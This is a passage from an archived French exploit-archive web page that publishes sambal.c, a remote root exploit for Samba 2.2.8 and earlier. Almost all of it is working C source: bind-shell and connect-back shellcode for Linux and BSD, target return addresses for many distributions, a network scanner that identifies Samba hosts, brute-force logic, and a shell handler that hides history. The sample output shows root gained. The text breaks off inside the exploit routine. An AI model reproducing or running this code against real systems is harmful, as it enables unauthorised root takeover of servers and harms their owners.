
<HTML><HEAD><TITLE>K-Otik Security : Samba 2.2.8 &lt; remote root exploit 
(sambal.c) </TITLE>
<META content=bugtraq,france,francais,failles,exploits,hack,sécurité,informatique,piratage name=keywords>
<META
content="Base de données française "
name=description>
<META http-equiv=MSThemeCompatible content=Yes>
<STYLE type=text/css>BODY {
	SCROLLBAR-ARROW-COLOR: #204558; SCROLLBAR-BASE-COLOR: #bdbcbc
}
SELECT {
	FONT-SIZE: 11px; COLOR: #000000; FONT-FAMILY: Verdana,Arial,Helvetica,sans-serif; BACKGROUND-COLOR: #cfcfcf
}
TEXTAREA {
	FONT-SIZE: 12px; COLOR: #000000; FONT-FAMILY: Verdana,Arial,Helvetica,sans-serif; BACKGROUND-COLOR: #cfcfcf
}
.bginput {
	FONT-SIZE: 12px; COLOR: #000000; FONT-FAMILY: Verdana,Arial,Helvetica,sans-serif; BACKGROUND-COLOR: #cfcfcf
}
A:link {
	COLOR: #000020; TEXT-DECORATION: none
}
A:visited {
	COLOR: #000020; TEXT-DECORATION: none
}
A:active {
	COLOR: #000020; TEXT-DECORATION: none
}
A:hover {
	COLOR: #000020; TEXT-DECORATION: none
}
#cat A:link {
	COLOR: #204558; TEXT-DECORATION: none
}
#cat A:visited {
	COLOR: #204558; TEXT-DECORATION: none
}
#cat A:active {
	COLOR: #204558; TEXT-DECORATION: none
}
#cat A:hover {
	COLOR: #204558; TEXT-DECORATION: none
}
#ltlink A:link {
	COLOR: #000020; TEXT-DECORATION: none
}
#ltlink A:visited {
	COLOR: #000020; TEXT-DECORATION: none
}
#ltlink A:active {
	COLOR: #000020; TEXT-DECORATION: none
}
#ltlink A:hover {
	COLOR: #000020; TEXT-DECORATION: none
}
.thtcolor {
	COLOR: #204558
}
.bordert {
	BORDER-RIGHT: #a9a9ac 1px solid; BORDER-TOP: #a9a9ac 1px solid; BORDER-LEFT: #a9a9ac 1px solid; BORDER-BOTTOM: #a9a9ac 1px solid
}
</STYLE>

<META content="Microsoft FrontPage 5.0" name=GENERATOR></HEAD>
<BODY id=all text=#000000 vLink=#000020 aLink=#000020 link=#000020
bgColor=#e9e9e9 topMargin=10 marginheight="10" marginwidth="10">
<CENTER>
<TABLE class=bordert cellSpacing=0 cellPadding=0 width=716 bgColor=#ffffff
border=0>
  <TBODY>
  <TR>
    <TD>
      <TABLE cellSpacing=0 cellPadding=0 width=716 border=0>
        <TBODY>
        <TR>
          <TD vAlign=bottom noWrap align=middle
          background="../images/menu_background.gif">
            <TABLE cellSpacing=0 cellPadding=0 align=center
            background="../images/headbg.gif"
            border=0>
              <TBODY>
              <tr>
                <TD width=200>
                &nbsp;</TD>
                <TD align=middle width=1000
                background="../images/headbg.gif">
                <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1">
                  <tr>
                    <td width="100%">
                    <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
                      <tr>
                        <td width="16%">
                        <p align="center">
                        <img border="0" src="../images/log.GIF" width="146" height="82"></td>
<td width="84%">
<p align="center">
<IFRAME name=autopromo marginWidth=1 
marginHeight=0 src="http://www.k-otik.com/pub/index.php" frameBorder=0 width=469 
scrolling=no height=64></IFRAME> </p></td>
                      </tr>
                    </table>
                    </td>
                  </tr>
                  <tr>
                    <td width="100%">
                    <p align="center">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                    <a href="http://www.k-otik.com/index.php">
                    <img border="0" src="../images/accueil.gif" width="62" height="18"></a><a href="http://www.k-otik.com/bugtraq/"><IMG
                  src="../images/bugtraq.gif"
                  border=0 width="70" height="18"></a><a href="http://www.k-otik.com/news/"><IMG
                  src="../images/news.gif"
                  border=0 width="70" height="18"></a><a href="http://www.k-otik.com/exploits/"><IMG
                  src="../images/exploits.gif"
                  border=0 width="70" height="18"></a><a href="http://www.k-otik.com/papers/"><IMG
                  src="../images/papers.gif"
                  border=0 width="70" height="18"></a><a href="http://www.k-otik.com/contribuer/"><IMG
                  src="../images/contribuer.gif"
                  border=0 width="70" height="18"></a><a href="http://www.k-otik.com/partenaires/"><IMG
                  src="../images/partenaires.gif"
                  border=0 width="70" height="18"></a><a href="http://www.k-otik.com/contact/"><IMG
                  src="../images/contact.gif"
                  border=0 width="70" height="18"></a><img border="0" src="../images/vide.gif" width="60" height="18"></td>
                  </tr>
                </table>
                </TD>
                <TD width=200>
                &nbsp;</TD>
              </tr>
              </TBODY></TABLE></TD></TR></TBODY></TABLE><!-- /logo and buttons --><!-- content table -->
      <!-- /content area table -->
      <CENTER>
      <p></p>
      <p></p>
      <p></p>
      </CENTER>
      <div align="center">
        <center>
        <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="85%" id="AutoNumber3">
          <tr>
            <td width="100%">
            <table cellSpacing="0" cellPadding="0" width="297" align="center" border="0">
              <tr>
                <td width="300">
                <table cellSpacing="1" cellPadding="4" width="100%" border="0">
                </table>
                </td>
              </tr>
            </table>
            </td>
          </tr>
        </table>
        </center>
      </div>
                    <font face="Verdana" size="1"><font color="#000000">&nbsp;</font></font><div align="center">
        <center>
        <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="60%" id="AutoNumber4">
          <tr>
            <td width="100%">
            <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber5">
              <tr>
                <td width="100%">
                <p align="center"><b><font size="1" face="Verdana">Samba 2.2.8 &lt; 
                remote root exploit - sambal.c</font></b></td>
              </tr>
            </table><div align="center">
            <pre>
</pre>
            </div>
            <pre><font size="1" face="Verdana"><font color="#000000">     * </font><a href="04.10.sambal.c"><u><font color="#000000">Version TXT Disponible ici</font></u></a><font color="#000000"> *</font>
</font>
<font size="1" face="Verdana">/*
    Remote root exploit for Samba 2.2.x and prior that works against 
    Linux (all distributions), FreeBSD (4.x, 5.x), NetBSD (1.x) and 
    OpenBSD (2.x, 3.x and 3.2 non-executable stack). 
    sambal.c is able to identify samba boxes. It will send a netbios
    name packet to port 137. If the box responds with the mac address
    00-00-00-00-00-00, it's probally running samba.
 
    [esdee@embrace esdee]$ ./sambal -d 0 -C 60 -S 192.168.0
    samba-2.2.8 &lt; remote root exploit by eSDee (www.netric.org|be)
    --------------------------------------------------------------
    + Scan mode.
    + [192.168.0.3] Samba
    + [192.168.0.10] Windows
    + [192.168.0.20] Windows
    + [192.168.0.21] Samba
    + [192.168.0.30] Windows
    + [192.168.0.31] Samba
    + [192.168.0.33] Windows
    + [192.168.0.35] Windows
    + [192.168.0.36] Windows
    + [192.168.0.37] Windows
    ...
    + [192.168.0.133] Samba

    Great!
    You could now try a preset (-t0 for a list), but most of the 
    time bruteforce will do. The smbd spawns a new process on every 
    connect, so we can bruteforce the return address...

    [esdee@embrace esdee]$ ./sambal -b 0 -v 192.168.0.133
    samba-2.2.8 &lt; remote root exploit by eSDee (www.netric.org|be)
    --------------------------------------------------------------
    + Verbose mode.
    + Bruteforce mode. (Linux)
    + Using ret: [0xbffffed4]
    + Using ret: [0xbffffda8]
    + Using ret: [0xbffffc7c]
    + Using ret: [0xbffffb50]
    + Using ret: [0xbffffa24]
    + Using ret: [0xbffff8f8]
    + Using ret: [0xbffff7cc]
    + Worked!
    --------------------------------------------------------------
  Linux LittleLinux.selwerd.lan 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586
 i586 i386 GNU/Linux
    uid=0(root) gid=0(root) groups=99(nobody)

sambal.c : samba-2.2.8 &lt; remote root exploit by eSDee (www.netric.org|

*/
  
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;netdb.h&gt;
#include &lt;errno.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;signal.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/select.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/time.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;

typedef struct {
        unsigned char type;
        unsigned char flags;
        unsigned short length;
} NETBIOS_HEADER;

typedef struct {
        unsigned char protocol[4];
        unsigned char command;
        unsigned short status;
        unsigned char reserved;
        unsigned char  flags;
        unsigned short flags2;
        unsigned char  pad[12];
        unsigned short tid;
        unsigned short pid;
        unsigned short uid;
        unsigned short mid;
} SMB_HEADER;

int OWNED = 0;
pid_t childs[100];
struct sockaddr_in addr1;
struct sockaddr_in addr2;

char
linux_bindcode[] =
        &quot;\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51&quot;
        &quot;\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50&quot;
        &quot;\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02&quot;
        &quot;\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05&quot;
        &quot;\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd&quot;
        &quot;\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd&quot;
        &quot;\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80&quot;
        &quot;\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0&quot;
        &quot;\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80&quot;
        &quot;\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0&quot;
        &quot;\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24&quot;
        &quot;\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0&quot;
        &quot;\x89\xf3\xb0\x06\xcd\x80\xeb\x99&quot;;

char
bsd_bindcode[] =
        &quot;\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0&quot;
        &quot;\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02&quot;
        &quot;\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80&quot;
        &quot;\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57&quot;
        &quot;\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89&quot;
        &quot;\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50&quot;
        &quot;\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80&quot;
        &quot;\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56&quot;
        &quot;\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd&quot;
        &quot;\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f&quot;
        &quot;\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b&quot;
        &quot;\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80&quot;
        &quot;\xeb\x9a&quot;;

char
linux_connect_back[] =
        &quot;\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51&quot;
        &quot;\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51&quot;
        &quot;\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3&quot;
        &quot;\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1&quot;
        &quot;\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80&quot;
        &quot;\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3&quot;
        &quot;\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f&quot;
        &quot;\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0&quot;
        &quot;\x01\xcd\x80&quot;; 

char
bsd_connect_back[] =
        &quot;\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0&quot;
        &quot;\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef&quot;
        &quot;\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0&quot;
        &quot;\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80&quot;
        &quot;\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52&quot;
        &quot;\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31&quot;
        &quot;\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54&quot;
        &quot;\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80&quot;;



struct {
        char *type;
        unsigned long ret;
        char *shellcode;
        int os_type;    /* 0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD non-exec 
stack */

} targets[] = {
        { &quot;samba-2.2.x - Debian 3.0           &quot;, 0xbffffea2, linux_bindcode,
0 },
        { &quot;samba-2.2.x - Gentoo 1.4.x         &quot;, 0xbfffe890, linux_bindcode,   
 0 },
        { &quot;samba-2.2.x - Mandrake 8.x         &quot;, 0xbffff6a0, linux_bindcode,
0 },
        { &quot;samba-2.2.x - Mandrake 9.0         &quot;, 0xbfffe638, linux_bindcode,
0 },
        { &quot;samba-2.2.x - Redhat 9.0           &quot;, 0xbffff7cc, linux_bindcode,   
 0 },
        { &quot;samba-2.2.x - Redhat 8.0           &quot;, 0xbffff2f0, linux_bindcode, 
0 },
        { &quot;samba-2.2.x - Redhat 7.x           &quot;, 0xbffff310, linux_bindcode, 
0 },
        { &quot;samba-2.2.x - Redhat 6.x           &quot;, 0xbffff2f0, linux_bindcode, 
0 },
        { &quot;samba-2.2.x - Slackware 9.0        &quot;, 0xbffff574, linux_bindcode,
0 },
        { &quot;samba-2.2.x - Slackware 8.x        &quot;, 0xbffff574, linux_bindcode,   
 0 },
        { &quot;samba-2.2.x - SuSE 7.x             &quot;, 0xbffffbe6, linux_bindcode,  
0 }, 
        { &quot;samba-2.2.x - SuSE 8.x             &quot;, 0xbffff8f8, linux_bindcode,   
 0 },
        { &quot;samba-2.2.x - FreeBSD 5.0          &quot;, 0xbfbff374, bsd_bindcode,     
1 },
        { &quot;samba-2.2.x - FreeBSD 4.x          &quot;, 0xbfbff374, bsd_bindcode,
1 },
        { &quot;samba-2.2.x - NetBSD 1.6           &quot;, 0xbfbfd5d0, bsd_bindcode,
1 },
        { &quot;samba-2.2.x - NetBSD 1.5           &quot;, 0xbfbfd520, bsd_bindcode,     
 1 },
        { &quot;samba-2.2.x - OpenBSD 3.2          &quot;, 0x00159198, bsd_bindcode,
2 },
        { &quot;samba-2.2.8 - OpenBSD 3.2 (package)&quot;, 0x001dd258, bsd_bindcode,     
 2 },
        { &quot;samba-2.2.7 - OpenBSD 3.2 (package)&quot;, 0x001d9230, bsd_bindcode,     
 2 },
        { &quot;samba-2.2.5 - OpenBSD 3.2 (package)&quot;, 0x001d6170, bsd_bindcode,     
 2 },
        { &quot;Crash (All platforms)              &quot;, 0xbade5dee, linux_bindcode,
0 },
};

void shell();
void usage();
void handler();

int is_samba(char *ip, unsigned long time_out);
int Connect(int fd, char *ip, unsigned int port, unsigned int time_out);
int read_timer(int fd, unsigned int time_out);
int write_timer(int fd, unsigned int time_out);
int start_session(int sock);
int exploit_normal(int sock, unsigned long ret, char *shellcode);
int exploit_openbsd32(int sock, unsigned long ret, char *shellcode);

void 
usage(char *prog)
{
        fprintf(stderr, &quot;Usage: %s [-bBcCdfprsStv] [host]\n\n&quot;
                        &quot;-b &lt;platform&gt;   bruteforce (0 = Linux, 1 = FreeBSD/Net
BSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)\n&quot;
                        &quot;-B &lt;step&gt;       bruteforce steps (default = 300)\n&quot;
                        &quot;-c &lt;ip address&gt; connectback ip address\n&quot;
                        &quot;-C &lt;max childs&gt; max childs for scan/bruteforce mode (d
efault = 40)\n&quot;
                        &quot;-d &lt;delay&gt;      bruteforce/scanmode delay in micro sec
onds (default = 100000)\n&quot;
                        &quot;-f              force\n&quot; 
                        &quot;-p &lt;port&gt;       port to attack (default = 139)\n&quot;
                        &quot;-r &lt;ret&gt;        return address\n&quot;
                        &quot;-s              scan mode (random)\n&quot;
                        &quot;-S &lt;network&gt;    scan mode\n&quot;
                        &quot;-t &lt;type&gt;       presets (0 for a list)\n&quot; 
                        &quot;-v              verbose mode\n\n&quot;, prog);
        
        exit(1);
}

int
is_samba(char *ip, unsigned long time_out)
{
        char
        nbtname[]= /* netbios name packet */
        {
                0x80,0xf0,0x00,0x10,0x00,0x01,0x00,0x00,
                0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41,
                0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
                0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
                0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
                0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,
                0x00,0x01
        };

        unsigned char recv_buf[1024];
        unsigned char *ptr;

        int i = 0;
        int s = 0;

        unsigned int total = 0;

        if ((s = socket(PF_INET, SOCK_DGRAM, 17)) &lt;= 0) return -1;

        if(Connect(s, ip, 137, time_out) == -1) {
                close(s);
                return -1;
        } 

        memset(recv_buf, 0x00, sizeof(recv_buf));

        if(write_timer(s, time_out) == 1) {
                if (write(s, nbtname, sizeof(nbtname)) &lt;= 0) {
                        close(s);
                        return -1;
                }
        }

        if (read_timer(s, time_out) == 1) {
                if (read(s, recv_buf, sizeof(recv_buf)) &lt;= 0) {
                        close(s);
                        return -1;
                }

                ptr = recv_buf + 57;
                total = *(ptr - 1); /* max names */

                while(ptr &lt; recv_buf + sizeof(recv_buf)) {
                        ptr += 18;
                        if (i == total) {

                                ptr -= 19;                      

                                if ( *(ptr + 1) == 0x00 &amp;&amp; *(ptr + 2) == 0x00 &amp;
&amp; *(ptr + 3) == 0x00 &amp;&amp;
                                     *(ptr + 4) == 0x00 &amp;&amp; *(ptr + 5) == 0x00 &amp;
&amp; *(ptr + 6) == 0x00) {
                                        close(s);
                                        return 0;
                                }

                                close(s);
                                return 1;
                        }

                        i++;    
                }

        }
        close(s);
        return -1;
}

int 
Connect(int fd, char *ip, unsigned int port, unsigned int time_out) 
{
        /* ripped from no1 */

        int                      flags;
        int                      select_status;
        fd_set                   connect_read, connect_write;
        struct timeval           timeout;
        int                      getsockopt_length = 0;
        int                      getsockopt_error = 0;
        struct sockaddr_in       server;
        bzero(&amp;server, sizeof(server));
        server.sin_family = AF_INET;
        inet_pton(AF_INET, ip, &amp;server.sin_addr);
        server.sin_port = htons(port);

        if((flags = fcntl(fd, F_GETFL, 0)) &lt; 0) {
                close(fd);
                return -1;
        }
  
        if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) &lt; 0) {
                close(fd);
                return -1;
        }
        
        timeout.tv_sec = time_out;
        timeout.tv_usec = 0;
        FD_ZERO(&amp;connect_read);
        FD_ZERO(&amp;connect_write);
        FD_SET(fd, &amp;connect_read);
        FD_SET(fd, &amp;connect_write);

        if((connect(fd, (struct sockaddr *) &amp;server, sizeof(server))) &lt; 0) {
                if(errno != EINPROGRESS) {
                        close(fd);
                        return -1;
                }
        }
        else {
                if(fcntl(fd, F_SETFL, flags) &lt; 0) {
                        close(fd);
                        return -1;
                }
                
                return 1;

        }

        select_status = select(fd + 1, &amp;connect_read, &amp;connect_write, NULL, &amp;ti
meout);

        if(select_status == 0) {
                close(fd);
                return -1;

        }

        if(select_status == -1) {
                close(fd);
                return -1;
        }

        if(FD_ISSET(fd, &amp;connect_read) || FD_ISSET(fd, &amp;connect_write)) {
                if(FD_ISSET(fd, &amp;connect_read) &amp;&amp; FD_ISSET(fd, &amp;connect_write))
 {
                        getsockopt_length = sizeof(getsockopt_error);

                        if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &amp;getsockopt_err
or, &amp;getsockopt_length) &lt; 0) {
                                errno = ETIMEDOUT;
                                close(fd);
                                return -1;
                        }

                        if(getsockopt_error == 0) {
                                if(fcntl(fd, F_SETFL, flags) &lt; 0) {
                                        close(fd);
                                        return -1;
                                }
                                return 1;
                        } 

                        else {
                                errno = getsockopt_error;
                                close(fd);
                                return (-1);
                                }

                        }
                }
        else {
                close(fd);
                return 1;
        }

        if(fcntl(fd, F_SETFL, flags) &lt; 0) {
                close(fd);
                return -1;
        }
        return 1;
}

int 
read_timer(int fd, unsigned int time_out)
{

        /* ripped from no1 */

        int                      flags;
        int                      select_status;
        fd_set                   fdread;
        struct timeval           timeout;

        if((flags = fcntl(fd, F_GETFL, 0)) &lt; 0) {
                close(fd);
                return (-1);
        }

        if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) &lt; 0) {
                close(fd);
                return (-1);
        }

        timeout.tv_sec = time_out;
        timeout.tv_usec = 0;
        FD_ZERO(&amp;fdread);
        FD_SET(fd, &amp;fdread);
        select_status = select(fd + 1, &amp;fdread, NULL, NULL, &amp;timeout);

        if(select_status == 0) {
                close(fd);
                return (-1);
        }

        if(select_status == -1) {
                close(fd);
                return (-1);
        }
  
        if(FD_ISSET(fd, &amp;fdread)) {
  
                if(fcntl(fd, F_SETFL, flags) &lt; 0) {
                        close(fd);
                        return -1;
                }
                
                return 1;

        } 
        else {
                close(fd);
                return 1;

        }
}

int
write_timer(int fd, unsigned int time_out)
{

        /* ripped from no1 */

        int                      flags;
        int                      select_status;
        fd_set                   fdwrite;
        struct timeval           timeout;

        if((flags = fcntl(fd, F_GETFL, 0)) &lt; 0) {    
                close(fd);
                return (-1);
        }

        if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) &lt; 0) {
                close(fd);
                return (-1);
        }
        
        timeout.tv_sec = time_out;
        timeout.tv_usec = 0;
        FD_ZERO(&amp;fdwrite);
        FD_SET(fd, &amp;fdwrite);

        select_status = select(fd + 1, NULL, &amp;fdwrite, NULL, &amp;timeout);

        if(select_status == 0) {
                close(fd);
                return -1;
        }

        if(select_status == -1) {
                close(fd);
                return -1;
        }

        if(FD_ISSET(fd, &amp;fdwrite)) {
                if(fcntl(fd, F_SETFL, flags) &lt; 0) {
                        close(fd);
                        return -1;
                }
                return 1;
        }
        else { 
                close(fd);
                return -1;
        }
}


void 
shell(int sock)
{
        fd_set  fd_read;
        char buff[1024], *cmd=&quot;unset HISTFILE; echo \&quot;*** JE MOET JE MUIL HOUWE
\&quot;;uname -a;id;\n&quot;;
        int n;

        FD_ZERO(&amp;fd_read);
        FD_SET(sock, &amp;fd_read);
        FD_SET(0, &amp;fd_read);

        send(sock, cmd, strlen(cmd), 0);

        while(1) {
                FD_SET(sock,&amp;fd_read);
                FD_SET(0,&amp;fd_read);

                if (select(FD_SETSIZE, &amp;fd_read, NULL, NULL, NULL) &lt; 0 ) break;

                if (FD_ISSET(sock, &amp;fd_read)) {

                        if((n = recv(sock, buff, sizeof(buff), 0)) &lt; 0){
                                fprintf(stderr, &quot;EOF\n&quot;);
                                exit(2);
                        }

                        if (write(1, buff, n) &lt; 0) break;
                }

                if (FD_ISSET(0, &amp;fd_read)) {

                        if((n = read(0, buff, sizeof(buff))) &lt; 0){
                                fprintf(stderr, &quot;EOF\n&quot;);
                                exit(2);
                        }

                        if (send(sock, buff, n, 0) &lt; 0) break;
                }

                usleep(10);
        }

        fprintf(stderr, &quot;Connection lost.\n\n&quot;);
        exit(0);
}

void
handler()
{
        int sock = 0;
        int i = 0;
        OWNED = 1;

        for (i = 0; i &lt; 100; i++)
                if (childs[i] != 0xffffffff) waitpid(childs[i], NULL, 0);

        if ((sock = socket(AF_INET, SOCK_STREAM, 6)) &lt; 0) {
                close(sock);
                exit(1);
        }

        if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {
                fprintf(stdout, &quot;+ Worked!\n&quot;
                                &quot;----------------------------------------------
----------------\n&quot;);
                shell(sock);
                close(sock);
        }


}

int 
start_session(int sock)
{
        char buffer[1000];
        char response[4096];
        char session_data1[]    = &quot;\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00
\x00\x00\x00&quot;;
        char session_data2[]    = &quot;\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25
\x6e\x6f\x62\x6f\x64\x79&quot;
                                  &quot;\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24
&quot;;

        NETBIOS_HEADER  *netbiosheader;
        SMB_HEADER      *smbheader;

        memset(buffer, 0x00, sizeof(buffer));

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        netbiosheader-&gt;type     = 0x00;         /* session message */
        netbiosheader-&gt;flags    = 0x00;
        netbiosheader-&gt;length   = htons(0x2E);

        smbheader-&gt;protocol[0]  = 0xFF;
        smbheader-&gt;protocol[1]  = 'S';
        smbheader-&gt;protocol[2]  = 'M';
        smbheader-&gt;protocol[3]  = 'B';
        smbheader-&gt;command      = 0x73;         /* session setup */
        smbheader-&gt;flags        = 0x08;         /* caseless pathnames */
        smbheader-&gt;flags2       = 0x01;         /* long filenames supported */
        smbheader-&gt;pid          = getpid() &amp; 0xFFFF;
        smbheader-&gt;uid          = 100;
        smbheader-&gt;mid          = 0x01;

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_da
ta1, sizeof(session_data1) - 1);

        if(write_timer(sock, 3) == 1)
                if (send(sock, buffer, 50, 0) &lt; 0) return -1;

        memset(response, 0x00, sizeof(response));

        if (read_timer(sock, 3) == 1)
                if (read(sock, response, sizeof(response) - 1) &lt; 0) return -1;

        netbiosheader = (NETBIOS_HEADER *)response;
        smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));

        if (netbiosheader-&gt;type != 0x00) fprintf(stderr, &quot;+ Recieved a non sess
ion message\n&quot;);

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        memset(buffer, 0x00, sizeof(buffer));

        netbiosheader-&gt;type     = 0x00;         /* session message */
        netbiosheader-&gt;flags    = 0x00;
        netbiosheader-&gt;length   = htons(0x3C);

        smbheader-&gt;protocol[0]  = 0xFF;
        smbheader-&gt;protocol[1]  = 'S';
        smbheader-&gt;protocol[2]  = 'M';
        smbheader-&gt;protocol[3]  = 'B';
        smbheader-&gt;command      = 0x70;         /* start connection */
        smbheader-&gt;pid          = getpid() &amp; 0xFFFF;
        smbheader-&gt;tid          = 0x00;
        smbheader-&gt;uid          = 100;

        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_da
ta2, sizeof(session_data2) - 1);

        if(write_timer(sock, 3) == 1)
                if (send(sock, buffer, 64, 0) &lt; 0) return -1;

        memset(response, 0x00, sizeof(response));

        if (read_timer(sock, 3) == 1)
                if (read(sock, response, sizeof(response) - 1) &lt; 0) return -1;

        netbiosheader = (NETBIOS_HEADER *)response;
        smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));

        if (netbiosheader-&gt;type != 0x00) return -1;

        return 0;
}

int
exploit_normal(int sock, unsigned long ret, char *shellcode)
{

        char buffer[4000];
        char exploit_data[] =
                &quot;\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00&quot;
                &quot;\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x
00\x00\x00\x00&quot; 
                &quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00&quot;
                &quot;\x00\x00\x00\x90&quot;;

        int i = 0;
        unsigned long dummy = ret - 0x90;

        NETBIOS_HEADER  *netbiosheader;
        SMB_HEADER      *smbheader;

        memset(buffer, 0x00, sizeof(buffer));

        netbiosheader   = (NETBIOS_HEADER *)buffer;
        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));

        netbiosheader-&gt;type             = 0x00;         /* session message */
        netbiosheader-&gt;flags            = 0x04;
        netbiosheader-&gt;length           = htons(2096);

        smbheader-&gt;protocol[0]          = 0xFF;
        smbheader-&gt;protocol[1]          = 'S';
        smbheader-&gt;protocol[2]          = 'M';
